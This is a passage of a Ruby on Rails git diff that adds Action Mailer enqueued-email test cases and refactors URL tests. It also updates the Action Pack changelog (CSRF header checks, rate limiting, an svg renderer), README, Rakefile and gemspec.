+          CustomQueueMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_when_mailer_has_custom_delivery_job
+    assert_nothing_raised do
+      assert_enqueued_email_with CustomDeliveryMailer, :test do
+        silence_stream($stdout) do
+          CustomDeliveryMailer.test.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_no_block
+    assert_nothing_raised do
+      silence_stream($stdout) do
+        TestHelperMailer.test.deliver_later
+        assert_enqueued_email_with TestHelperMailer, :test
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_args
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_args, args: ["some_email", "some_name"] do
+        silence_stream($stdout) do
+          TestHelperMailer.test_args("some_email", "some_name").deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_no_block_with_args
+    assert_nothing_raised do
+      silence_stream($stdout) do
+        TestHelperMailer.test_args("some_email", "some_name").deliver_later
+        assert_enqueued_email_with TestHelperMailer, :test_args, args: ["some_email", "some_name"]
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_parameterized_args
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_parameter_args, params: { all: "good" } do
+        silence_stream($stdout) do
+          TestHelperMailer.with(all: "good").test_parameter_args.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_parameterized_mailer
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer.with(all: "good"), :test_parameter_args do
+        silence_stream($stdout) do
+          TestHelperMailer.with(all: "good").test_parameter_args.deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_named_args
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_named_args, args: [{ email: "some_email", name: "some_name" }] do
+        silence_stream($stdout) do
+          TestHelperMailer.test_named_args(email: "some_email", name: "some_name").deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_params_and_args
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_args, params: { all: "good" }, args: ["some_email", "some_name"] do
+        silence_stream($stdout) do
+          TestHelperMailer.with(all: "good").test_args("some_email", "some_name").deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_params_and_named_args
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_named_args, params: { all: "good" }, args: [{ email: "some_email", name: "some_name" }] do
+        silence_stream($stdout) do
+          TestHelperMailer.with(all: "good").test_named_args(email: "some_email", name: "some_name").deliver_later
+        end
+      end
+    end
+  end
+
+  def test_assert_enqueued_email_with_with_no_block_with_parameterized_args
+    assert_nothing_raised do
+      silence_stream($stdout) do
+        TestHelperMailer.with(all: "good").test_parameter_args.deliver_later
+      end
+      assert_enqueued_email_with TestHelperMailer, :test_parameter_args, params: { all: "good" }
+    end
+  end
+
+  def test_assert_enqueued_email_with_supports_params_matcher_proc
+    mail_params = { all: "good" }
+
+    silence_stream($stdout) do
+      TestHelperMailer.with(mail_params).test_parameter_args.deliver_later
+    end
+
+    matcher_params = nil
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_parameter_args, params: ->(params) { matcher_params = params }
+    end
+
+    assert_equal mail_params, matcher_params
+
+    assert_raises ActiveSupport::TestCase::Assertion do
+      assert_enqueued_email_with TestHelperMailer, :test_parameter_args, params: ->(_) { false }
+    end
+  end
+
+  def test_assert_enqueued_email_with_supports_args_matcher_proc
+    mail_args = ["some_email", "some_name"]
+
+    silence_stream($stdout) do
+      TestHelperMailer.test_args(*mail_args).deliver_later
+    end
+
+    matcher_args = nil
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_args, args: ->(args) { matcher_args = args }
+    end
+
+    assert_equal mail_args, matcher_args
+
+    assert_raises ActiveSupport::TestCase::Assertion do
+      assert_enqueued_email_with TestHelperMailer, :test_args, args: ->(_) { false }
+    end
+  end
+
+  def test_assert_enqueued_email_with_supports_named_args_matcher_proc
+    mail_args = [{ email: "some_email", name: "some_name" }]
+
+    silence_stream($stdout) do
+      TestHelperMailer.test_named_args(**mail_args[0]).deliver_later
+    end
+
+    matcher_args = nil
+
+    assert_nothing_raised do
+      assert_enqueued_email_with TestHelperMailer, :test_named_args, args: ->(args) { matcher_args = args }
+    end
+
+    assert_equal mail_args, matcher_args
+  end
+
+  def test_deliver_enqueued_emails_with_no_block
+    assert_nothing_raised do
+      silence_stream($stdout) do
+        TestHelperMailer.test.deliver_later
+        deliver_enqueued_emails
+      end
+    end
+
+    assert_emails(1)
+  end
+
+  def test_deliver_enqueued_emails_with_a_block
+    assert_nothing_raised do
+      deliver_enqueued_emails do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_emails(1)
+  end
+
+  def test_deliver_enqueued_emails_with_custom_delivery_job
+    assert_nothing_raised do
+      deliver_enqueued_emails do
+        silence_stream($stdout) do
+          CustomDeliveryMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_emails(1)
+  end
+
+  def test_deliver_enqueued_emails_with_custom_queue
+    assert_nothing_raised do
+      deliver_enqueued_emails(queue: CustomQueueMailer.deliver_later_queue_name) do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+          CustomQueueMailer.test.deliver_later
+        end
+      end
+    end
+
+    assert_emails(1)
+    assert_enqueued_email_with(TestHelperMailer, :test)
+  end
+
+  def test_deliver_enqueued_emails_with_at
+    assert_nothing_raised do
+      deliver_enqueued_emails(at: 1.hour.from_now) do
+        silence_stream($stdout) do
+          TestHelperMailer.test.deliver_later
+          TestHelperMailer.test.deliver_later(wait: 2.hours)
+        end
+      end
+    end
+
+    assert_emails(1)
+  end
 end
 
 class AnotherTestHelperMailerTest < ActionMailer::TestCase
@@ -219,3 +620,17 @@ def test_setup_shouldnt_conflict_with_mailer_setup
     assert_equal "a value", @test_var
   end
 end
+
+class AdapterIsNotTestAdapterTest < ActionMailer::TestCase
+  def queue_adapter_for_test
+    ActiveJob::QueueAdapters::InlineAdapter.new
+  end
+
+  def test_can_send_email_using_any_active_job_adapter
+    assert_nothing_raised do
+      assert_emails 1 do
+        TestHelperMailer.test.deliver_now
+      end
+    end
+  end
+end
diff --git a/actionmailer/test/url_test.rb b/actionmailer/test/url_test.rb
index 6dbfb3a1ffb24..123c194aacc2d 100644
--- a/actionmailer/test/url_test.rb
+++ b/actionmailer/test/url_test.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "abstract_unit"
 require "action_controller"
 
@@ -6,11 +8,16 @@ class WelcomeController < ActionController::Base
 
 AppRoutes = ActionDispatch::Routing::RouteSet.new
 
-class ActionMailer::Base
-  include AppRoutes.url_helpers
+AppRoutes.draw do
+  get "/welcome" => "foo#bar", as: "welcome"
+  get "/dummy_model" => "foo#baz", as: "dummy_model"
+  get "/welcome/greeting", to: "welcome#greeting"
+  get "/a/b(/:id)", to: "a#b"
 end
 
 class UrlTestMailer < ActionMailer::Base
+  include AppRoutes.url_helpers
+
   default_url_options[:host] = "www.basecamphq.com"
 
   configure do |c|
@@ -34,7 +41,7 @@ def exercise_url_for(options)
 class ActionMailerUrlTest < ActionMailer::TestCase
   class DummyModel
     def self.model_name
-      OpenStruct.new(route_key: "dummy_model")
+      Struct.new(:route_key, :name).new("dummy_model", nil)
     end
 
     def persisted?
@@ -50,10 +57,6 @@ def to_model
     end
   end
 
-  def encode(text, charset = "UTF-8")
-    quoted_printable(text, charset)
-  end
-
   def new_mail(charset = "UTF-8")
     mail = Mail.new
     mail.mime_version = "1.0"
@@ -78,14 +81,6 @@ def setup
   def test_url_for
     UrlTestMailer.delivery_method = :test
 
-    AppRoutes.draw do
-      ActiveSupport::Deprecation.silence do
-        get ":controller(/:action(/:id))"
-        get "/welcome" => "foo#bar", as: "welcome"
-        get "/dummy_model" => "foo#baz", as: "dummy_model"
-      end
-    end
-
     # string
     assert_url_for "http://foo/", "http://foo/"
 
@@ -103,23 +98,16 @@ def test_url_for
     assert_url_for "/dummy_model", DummyModel
 
     # array
-    assert_url_for "/dummy_model" , [DummyModel]
+    assert_url_for "/dummy_model", [DummyModel]
   end
 
   def test_signed_up_with_url
     UrlTestMailer.delivery_method = :test
 
-    AppRoutes.draw do
-      ActiveSupport::Deprecation.silence do
-        get ":controller(/:action(/:id))"
-        get "/welcome" => "foo#bar", as: "welcome"
-      end
-    end
-
     expected = new_mail
     expected.to      = @recipient
     expected.subject = "[Signed up] Welcome #{@recipient}"
-    expected.body    = "Hello there,\n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img alt=\"Somelogo\" src=\"/images/somelogo.png\" />"
+    expected.body    = "Hello there,\n\nMr. #{@recipient}. Please see our greeting at http://example.com/welcome/greeting http://www.basecamphq.com/welcome\n\n<img src=\"/images/somelogo.png\" />"
     expected.from    = "system@loudthinking.com"
     expected.date    = Time.local(2004, 12, 12)
     expected.content_type = "text/html"
diff --git a/actionpack/CHANGELOG.md b/actionpack/CHANGELOG.md
index a7a4aabc98852..89335a4401433 100644
--- a/actionpack/CHANGELOG.md
+++ b/actionpack/CHANGELOG.md
@@ -1,328 +1,157 @@
-*   Remove deprecated `.to_prepare`, `.to_cleanup`, `.prepare!` and `.cleanup!` from `ActionDispatch::Reloader`.
+*   Add `config.action_controller.live.streaming_excluded_keys` to control execution state sharing in ActionController::Live.
 
-    *Rafael Mendonça França*
+    When using ActionController::Live, actions are executed in a separate thread that shares
+    state from the parent thread. This new configuration allows applications to opt-out specific
+    state keys that should not be shared.
 
-*   Remove deprecated `ActionDispatch::Callbacks.to_prepare` and `ActionDispatch::Callbacks.to_cleanup`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `ActionController::Metal.call`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `ActionController::Metal#env`.
-
-    *Rafael Mendonça França*
-
-*   Make `with_routing` test helper work when testing controllers inheriting from `ActionController::API`
-
-    *Julia López*
-
-*   Use accept header in integration tests with `as: :json`
-
-    Instead of appending the `format` to the request path, Rails will figure
-    out the format from the header instead.
-
-    This allows devs to use `:as` on routes that don't have a format.
-
-    Fixes #27144.
-
-    *Kasper Timm Hansen*
-
-*   Reset a new session directly after its creation in `ActionDispatch::IntegrationTest#open_session`.
-
-    Fixes #22742.
-
-    *Tawan Sierek*
-
-*   Fixes incorrect output from rails routes when using singular resources.
-
-    Fixes #26606.
-
-    *Erick Reyna*
-
-*   Fixes multiple calls to `logger.fatal` instead of a single call,
-    for every line in an exception backtrace, when printing trace
-    from `DebugExceptions` middleware.
-
-    Fixes #26134.
-
-    *Vipul A M*
-
-*   Add support for arbitrary hashes in strong parameters:
+    This is useful when streaming inside a `connected_to` block, where you may want
+    the streaming thread to use its own database connection context.
 
     ```ruby
-    params.permit(preferences: {})
+    # config/application.rb
+    config.action_controller.live.streaming_excluded_keys = [:active_record_connected_to_stack]
     ```
 
-    *Xavier Noria*
-
-*   Add `ActionController::Parameters#merge!`, which behaves the same as `Hash#merge!`.
-
-    *Yuji Yaginuma*
-
-*   Allow keys not found in `RACK_KEY_TRANSLATION` for setting the environment when rendering
-    arbitrary templates.
-
-    *Sammy Larbi*
-
-*   Remove deprecated support to non-keyword arguments in `ActionDispatch::IntegrationTest#process`,
-    `#get`, `#post`, `#patch`, `#put`, `#delete`, and `#head`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `ActionDispatch::IntegrationTest#*_via_redirect`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `ActionDispatch::IntegrationTest#xml_http_request`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support for passing `:path` and route path as strings in `ActionDispatch::Routing::Mapper#match`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support for passing path as `nil` in `ActionDispatch::Routing::Mapper#match`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `cache_control` argument from `ActionDispatch::Static#initialize`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing strings or symbols to the middleware stack.
-
-    *Rafael Mendonça França*
-
-*   Change HSTS subdomain to true.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `host` and `port` ssl options.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `const_error` argument in
-    `ActionDispatch::Session::SessionRestoreError#initialize`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `#original_exception` in `ActionDispatch::Session::SessionRestoreError`.
-
-    *Rafael Mendonça França*
-
-*   Deprecate `ActionDispatch::ParamsParser::ParseError` in favor of
-    `ActionDispatch::Http::Parameters::ParseError`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated `ActionDispatch::ParamsParser`.
+    By default, all keys are shared.
 
-    *Rafael Mendonça França*
+    *Eileen M. Uchitelle*
 
-*   Remove deprecated `original_exception` and `message` arguments in
-    `ActionDispatch::ParamsParser::ParseError#initialize`.
+*   Add controller action source location to routes inspector.
 
-    *Rafael Mendonça França*
+    The routes inspector now shows where controller actions are defined.
+    In `rails routes --expanded`, a new "Action Location" field displays
+    the file and line number of each action method.
 
-*   Remove deprecated `#original_exception` in `ActionDispatch::ParamsParser::ParseError`.
+    On the routing error page, when `RAILS_EDITOR` or `EDITOR` is set,
+    a clickable �� icon appears next to each Controller#Action that opens
+    the action directly in the editor.
 
-    *Rafael Mendonça França*
+    *Guillermo Iguaran*
 
-*   Remove deprecated access to mime types through constants.
+*   Active Support notifications for CSRF warnings.
 
-    *Rafael Mendonça França*
+    Switches from direct logging to event-driven logging, allowing others to
+    subscribe to and act on CSRF events:
 
-*   Remove deprecated support to non-keyword arguments in `ActionController::TestCase#process`,
-    `#get`, `#post`, `#patch`, `#put`, `#delete`, and `#head`.
+    - `csrf_token_fallback.action_controller`
+    - `csrf_request_blocked.action_controller`
+    - `csrf_javascript_blocked.action_controller`
 
-    *Rafael Mendonça França*
+    *Jeremy Daer*
 
-*   Remove deprecated `xml_http_request` and `xhr` methods in `ActionController::TestCase`.
+*   Modern header-based CSRF protection.
 
-    *Rafael Mendonça França*
+    Modern browsers send the `Sec-Fetch-Site` header to indicate the relationship
+    between request initiator and target origins. Rails now uses this header to
+    verify same-origin requests without requiring authenticity tokens.
 
-*   Remove deprecated methods in `ActionController::Parameters`.
+    Two verification strategies are available via `protect_from_forgery using:`:
 
-    *Rafael Mendonça França*
+    * `:header_only` - Uses `Sec-Fetch-Site` header only. Rejects requests
+      without a valid header. Default for new Rails 8.2 applications.
 
-*   Remove deprecated support to comparing a `ActionController::Parameters`
-    with a `Hash`.
+    * `:header_or_legacy_token` - Uses `Sec-Fetch-Site` header when present,
+      falls back to authenticity token verification for older browsers.
 
-    *Rafael Mendonça França*
+    Configure trusted origins for legitimate cross-site requests (OAuth callbacks,
+    third-party embeds) with `trusted_origins:`:
 
-*   Remove deprecated support to `:text` in `render`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to `:nothing` in `render`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to `:back` in `redirect_to`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing status as option `head`.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated support to passing original exception to `ActionController::BadRequest`
-    and the `ActionController::BadRequest#original_exception` method.
-
-    *Rafael Mendonça França*
-
-*   Remove deprecated methods `skip_action_callback`, `skip_filter`, `before_filter`,
-    `prepend_before_filter`, `skip_before_filter`, `append_before_filter`, `around_filter`
-    `prepend_around_filter`, `skip_around_filter`, `append_around_filter`, `after_filter`,
-    `prepend_after_filter`, `skip_after_filter` and `append_after_filter`.
-
-    *Rafael Mendonça França*
-
-*   Show an "unmatched constraints" error when params fail to match constraints
-    on a matched route, rather than a "missing keys" error.
-
-    Fixes #26470.
-
-    *Chris Carter*
-
-*   Fix adding implicitly rendered template digests to ETags.
-
-    Fixes a case when modifying an implicitly rendered template for a
-    controller action using `fresh_when` or `stale?` would not result in a new
-    `ETag` value.
-
-    *Javan Makhmali*
-
-*   Make `fixture_file_upload` work in integration tests.
-
-    *Yuji Yaginuma*
-
-*   Add `to_param` to `ActionController::Parameters` deprecations.
-
-    In the future `ActionController::Parameters` are discouraged from being used
-    in URLs without explicit whitelisting. Go through `to_h` to use `to_param`.
-
-    *Kir Shatrov*
-
-*   Fix nested multiple roots
-
-    The PR #20940 enabled the use of multiple roots with different constraints
-    at the top level but unfortunately didn't work when those roots were inside
-    a namespace and also broke the use of root inside a namespace after a top
-    level root was defined because the check for the existence of the named route
-    used the global :root name and not the namespaced name.
-
-    This is fixed by using the name_for_action method to expand the :root name to
-    the full namespaced name. We can pass nil for the second argument as we're not
-    dealing with resource definitions so don't need to handle the cases for edit
-    and new routes.
-
-    Fixes #26148.
-
-    *Ryo Hashimoto*, *Andrew White*
-
-*   Include the content of the flash in the auto-generated etag. This solves the following problem:
-
-      1. POST /messages
-      2. redirect_to messages_url, notice: 'Message was created'
-      3. GET /messages/1
-      4. GET /messages
-
-      Step 4 would before still include the flash message, even though it's no longer relevant,
-      because the etag cache was recorded with the flash in place and didn't change when it was gone.
-
-    *DHH*
-
-*   SSL: Changes redirect behavior for all non-GET and non-HEAD requests
-    (like POST/PUT/PATCH etc) to `http://` resources to redirect to `https://`
-    with a [307 status code](http://tools.ietf.org/html/rfc7231#section-6.4.7) instead of [301 status code](http://tools.ietf.org/html/rfc7231#section-6.4.2).
+    ```ruby
+    protect_from_forgery trusted_origins: %w[ https://accounts.google.com ]
+    ```
 
-    307 status code instructs the HTTP clients to preserve the original
-    request method while redirecting. It has been part of HTTP RFC since
-    1999 and is implemented/recognized by most (if not all) user agents.
+    `InvalidAuthenticityToken` is deprecated in favor of `InvalidCrossOriginRequest`.
 
-        # Before
-        POST http://example.com/articles (i.e. ArticlesContoller#create)
-        redirects to
-        GET https://example.com/articles (i.e. ArticlesContoller#index)
+    *Rosa Gutierrez*
 
-        # After
-        POST http://example.com/articles (i.e. ArticlesContoller#create)
-        redirects to
-        POST https://example.com/articles (i.e. ArticlesContoller#create)
+*   Fix `action_dispatch_request` early load hook call when building
+    Rails app middleware.
 
-   *Chirag Singhal*
+    *Gannon McGibbon*
 
-*   Add `:as` option to `ActionController:TestCase#process` and related methods.
+*   Emit a structured event when `action_on_open_redirect` is set to `:notify`
+    in addition to the existing Active Support Notification.
 
-    Specifying `as: mime_type` allows the `CONTENT_TYPE` header to be specified
-    in controller tests without manually doing this through `@request.headers['CONTENT_TYPE']`.
+    *Adrianna Chang*, *Hartley McGuire*
 
-    *Everest Stefan Munro-Zeisberger*
+*   Support `text/markdown` format in `DebugExceptions` middleware.
 
-*   Show cache hits and misses when rendering partials.
+    When `text/markdown` is requested via the Accept header, error responses
+    are returned with `Content-Type: text/markdown` instead of HTML.
+    The existing text templates are reused for markdown output, allowing
+    CLI tools and other clients to receive byte-efficient error information.
 
-    Partials using the `cache` helper will show whether a render hit or missed
-    the cache:
+    *Guillermo Iguaran*
 
-    ```
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
-    ```
+*   Support dynamic `to:` and `within:` options in `rate_limit`.
 
-    This removes the need for the old fragment cache logging:
+    The `to:` and `within:` options now accept callables (lambdas or procs) and
+    method names (as symbols), in addition to static values. This allows for
+    dynamic rate limiting based on user attributes or other runtime conditions.
 
-    ```
-    Read fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/d0bdf2974e1ef6d31685c3b392ad0b74 (0.6ms)
-    Rendered messages/_message.html.erb in 1.2 ms [cache hit]
-    Write fragment views/v1/2914079/v1/2914079/recordings/70182313-20160225015037000000/3b4e249ac9d168c617e32e84b99218b5 (1.1ms)
-    Rendered recordings/threads/_thread.html.erb in 1.5 ms [cache miss]
+    ```ruby
+    class APIController < ApplicationController
+      rate_limit to: :max_requests, within: :time_window, by: -> { current_user.id }
+
+      private
+        def max_requests
+          current_user.premium? ? 1000 : 100
+        end
+
+        def time_window
+          current_user.premium? ? 1.hour : 1.minute
+        end
+    end
     ```
 
-    Though that full output can be reenabled with
-    `config.action_controller.enable_fragment_cache_logging = true`.
+    *Murilo Duarte*
 
-    *Stan Lo*
+*   Define `ActionController::Parameters#deconstruct_keys` to support pattern matching
 
-*   Don't override the `Accept` header in integration tests when called with `xhr: true`.
-
-    Fixes #25859.
-
-    *David Chen*
-
-*   Fix `defaults` option for root route.
-
-    A regression from some refactoring for the 5.0 release, this change
-    fixes the use of `defaults` (default parameters) in the `root` routing method.
-
-    *Chris Arcand*
-
-*   Check `request.path_parameters` encoding at the point they're set.
-
-    Check for any non-UTF8 characters in path parameters at the point they're
-    set in `env`. Previously they were checked for when used to get a controller
-    class, but this meant routes that went directly to a Rack app, or skipped
-    controller instantiation for some other reason, had to defend against
-    non-UTF8 characters themselves.
-
-    *Grey Baker*
+    ```ruby
+    if params in { search:, page: }
+      Article.search(search).limit(page)
+    else
+      …
+    end
+
+    case (value = params[:string_or_hash_with_nested_key])
+    in String
+      # do something with a String `value`…
+    in { nested_key: }
+      # do something with `nested_key` or `value`
+    else
+      # …
+    end
+    ```
 
-*   Don't raise `ActionController::UnknownHttpMethod` from `ActionDispatch::Static`.
+    *Sean Doyle*
 
-    Pass `Rack::Request` objects to `ActionDispatch::FileHandler` to avoid it
-    raising `ActionController::UnknownHttpMethod`. If an unknown method is
-    passed, it should pass exception higher in the stack instead, once we've had a
-    chance to define exception handling behaviour.
+*   Submit test requests using `as: :html` with `Content-Type: x-www-form-urlencoded`
 
-    *Grey Baker*
+    *Sean Doyle*
 
-*   Handle `Rack::QueryParser` errors in `ActionDispatch::ExceptionWrapper`.
+*   Add `svg:` renderer:
 
-    Updated `ActionDispatch::ExceptionWrapper` to handle the Rack 2.0 namespace
-    for `ParameterTypeError` and `InvalidParameterError` errors.
+    ```ruby
+    class Page
+      def to_svg
+        body
+      end
+    end
+
+    class PagesController < ActionController::Base
+      def show
+        @page = Page.find(params[:id])
+
+        respond_to do |format|
+          format.html
+          format.svg { render svg: @page }
+        end
+      end
+    end
+    ```
 
-    *Grey Baker*
+    *Thiago Youssef*
 
-Please check [5-0-stable](https://github.com/rails/rails/blob/5-0-stable/actionpack/CHANGELOG.md) for previous changes.
+Please check [8-1-stable](https://github.com/rails/rails/blob/8-1-stable/actionpack/CHANGELOG.md) for previous changes.
diff --git a/actionpack/MIT-LICENSE b/actionpack/MIT-LICENSE
index ac810e86d0210..7be9ac633faf0 100644
--- a/actionpack/MIT-LICENSE
+++ b/actionpack/MIT-LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2004-2017 David Heinemeier Hansson
+Copyright (c) David Heinemeier Hansson
 
 Permission is hereby granted, free of charge, to any person obtaining
 a copy of this software and associated documentation files (the
diff --git a/actionpack/README.rdoc b/actionpack/README.rdoc
index 0720c66cb9089..8c209108804d6 100644
--- a/actionpack/README.rdoc
+++ b/actionpack/README.rdoc
@@ -2,9 +2,8 @@
 
 Action Pack is a framework for handling and responding to web requests. It
 provides mechanisms for *routing* (mapping request URLs to actions), defining
-*controllers* that implement actions, and generating responses by rendering
-*views*, which are templates of various formats. In short, Action Pack
-provides the view and controller layers in the MVC paradigm.
+*controllers* that implement actions, and generating responses. In short, Action Pack
+provides the controller layer in the MVC paradigm.
 
 It consists of several modules:
 
@@ -17,12 +16,13 @@ It consists of several modules:
   subclassed to implement filters and actions to handle requests. The result
   of an action is typically content generated from views.
 
-With the Ruby on Rails framework, users only directly interface with the
+With the Ruby on \Rails framework, users only directly interface with the
 Action Controller module. Necessary Action Dispatch functionality is activated
 by default and Action View rendering is implicitly triggered by Action
 Controller. However, these modules are designed to function on their own and
-can be used outside of Rails.
+can be used outside of \Rails.
 
+You can read more about Action Pack in the {Action Controller Overview}[https://guides.rubyonrails.org/action_controller_overview.html] guide.
 
 == Download and installation
 
@@ -30,28 +30,28 @@ The latest version of Action Pack can be installed with RubyGems:
 
   $ gem install actionpack
 
-Source code can be downloaded as part of the Rails project on GitHub
+Source code can be downloaded as part of the \Rails project on GitHub:
 
-* https://github.com/rails/rails/tree/master/actionpack
+* https://github.com/rails/rails/tree/main/actionpack
 
 
 == License
 
 Action Pack is released under the MIT license:
 
-* http://www.opensource.org/licenses/MIT
+* https://opensource.org/licenses/MIT
 
 
 == Support
 
-API documentation is at
+API documentation is at:
 
-* http://api.rubyonrails.org
+* https://api.rubyonrails.org
 
-Bug reports can be filed for the Ruby on Rails project here:
+Bug reports for the Ruby on \Rails project can be filed here:
 
 * https://github.com/rails/rails/issues
 
-Feature requests should be discussed on the rails-core mailing list here:
+Feature requests should be discussed on the rubyonrails-core forum here:
 
-* https://groups.google.com/forum/?fromgroups#!forum/rubyonrails-core
+* https://discuss.rubyonrails.org/c/rubyonrails-core
diff --git a/actionpack/Rakefile b/actionpack/Rakefile
index 31dd1865f938f..fd087a55a46ea 100644
--- a/actionpack/Rakefile
+++ b/actionpack/Rakefile
@@ -1,11 +1,13 @@
+# frozen_string_literal: true
+
 require "rake/testtask"
 
-test_files = Dir.glob("test/**/*_test.rb")
+test_files = FileList["test/**/*_test.rb"]
 
 desc "Default Task"
 task default: :test
 
-task :package
+ENV["RAILS_MINITEST_PLUGIN"] = "true"
 
 # Run the unit tests
 Rake::TestTask.new do |t|
@@ -14,19 +16,26 @@ Rake::TestTask.new do |t|
 
   t.warning = true
   t.verbose = true
+  t.options = "--profile" if ENV["CI"]
   t.ruby_opts = ["--dev"] if defined?(JRUBY_VERSION)
 end
 
 namespace :test do
-  task :isolated do
+  task isolated: :railties do
     test_files.all? do |file|
       sh(Gem.ruby, "-w", "-Ilib:test", file)
     end || raise("Failures")
   end
+
+  task :railties do
+    ["action_dispatch/railtie", "action_controller/railtie"].all? do |railtie|
+      sh(Gem.ruby, "-r", railtie, "-e", "'OK'")
+    end || raise("Failures")
+  end
 end
 
 task :lines do
-  load File.expand_path("..", File.dirname(__FILE__)) + "/tools/line_statistics"
+  load File.expand_path("../tools/line_statistics", __dir__)
   files = FileList["lib/**/*.rb"]
   CodeTools::LineStatistics.new(files).print_loc
 end
diff --git a/actionpack/actionpack.gemspec b/actionpack/actionpack.gemspec
index 2c24a54305c76..053897cc7dbcd 100644
--- a/actionpack/actionpack.gemspec
+++ b/actionpack/actionpack.gemspec
@@ -1,4 +1,6 @@
-version = File.read(File.expand_path("../../RAILS_VERSION", __FILE__)).strip
+# frozen_string_literal: true
+
+version = File.read(File.expand_path("../RAILS_VERSION", __dir__)).strip
 
 Gem::Specification.new do |s|
   s.platform    = Gem::Platform::RUBY
@@ -7,24 +9,39 @@ Gem::Specification.new do |s|
   s.summary     = "Web-flow and rendering framework putting the VC in MVC (part of Rails)."
   s.description = "Web apps on Rails. Simple, battle-tested conventions for building and testing MVC web applications. Works with any Rack-compatible server."
 
-  s.required_ruby_version = ">= 2.2.2"
+  s.required_ruby_version = ">= 3.2.0"
 
   s.license = "MIT"
 
   s.author   = "David Heinemeier Hansson"
   s.email    = "david@loudthinking.com"
-  s.homepage = "http://rubyonrails.org"
+  s.homepage = "https://rubyonrails.org"
 
   s.files        = Dir["CHANGELOG.md", "README.rdoc", "MIT-LICENSE", "lib/**/*"]
   s.require_path = "lib"
   s.requirements << "none"
 
+  s.metadata = {
+    "bug_tracker_uri"   => "https://github.com/rails/rails/issues",
+    "changelog_uri"     => "https://github.com/rails/rails/blob/v#{version}/actionpack/CHANGELOG.md",
+    "documentation_uri" => "https://api.rubyonrails.org/v#{version}/",
+    "mailing_list_uri"  => "https://discuss.rubyonrails.org/c/rubyonrails-talk",
+    "source_code_uri"   => "https://github.com/rails/rails/tree/v#{version}/actionpack",
+    "rubygems_mfa_required" => "true",
+  }
+
+  # NOTE: Please read our dependency guidelines before updating versions:
+  # https://edgeguides.rubyonrails.org/security.html#dependency-management-and-cves
+
   s.add_dependency "activesupport", version
 
-  s.add_dependency "rack",      "~> 2.0"
-  s.add_dependency "rack-test", "~> 0.6.3"
-  s.add_dependency "rails-html-sanitizer", "~> 1.0", ">= 1.0.2"
-  s.add_dependency "rails-dom-testing", "~> 2.0"
+  s.add_dependency "nokogiri", ">= 1.8.5"
+  s.add_dependency "rack",      ">= 2.2.4"
+  s.add_dependency "rack-session", ">= 1.0.1"
+  s.add_dependency "rack-test", ">= 0.6.3"
+  s.add_dependency "rails-html-sanitizer", "~> 1.6"
+  s.add_dependency "rails-dom-testing", "~> 2.2"
+  s.add_dependency "useragent", "~> 0.16"
   s.add_dependency "actionview", version
 
   s.add_development_dependency "activemodel", version
diff --git a/actionpack/bin/test b/actionpack/bin/test
index a7beb14b271a3..c53377cc970f4 100755
--- a/actionpack/bin/test
+++ b/actionpack/bin/test
@@ -1,4 +1,5 @@
 #!/usr/bin/env ruby
+# frozen_string_literal: true
 
 COMPONENT_ROOT = File.expand_path("..", __dir__)
-require File.expand_path("../tools/test", COMPONENT_ROOT)
+require_relative "../../tools/test"
diff --git a/actionpack/lib/abstract_controller.rb b/actionpack/lib/abstract_controller.rb
index 8bd965b198f3a..6b3004045b4dd 100644
--- a/actionpack/lib/abstract_controller.rb
+++ b/actionpack/lib/abstract_controller.rb
@@ -1,10 +1,17 @@
+# frozen_string_literal: true
+
+# :markup: markdown
+
 require "action_pack"
+require "active_support"
 require "active_support/rails"
 require "active_support/i18n"
+require "abstract_controller/deprecator"
 
 module AbstractController
   extend ActiveSupport::Autoload
 
+  autoload :ActionNotFound, "abstract_controller/base"
   autoload :Base
   autoload :Caching
   autoload :Callbacks
@@ -20,5 +27,10 @@ module AbstractController
   def self.eager_load!
     super
     AbstractController::Caching.eager_load!
+    AbstractController::Base.descendants.each do |controller|
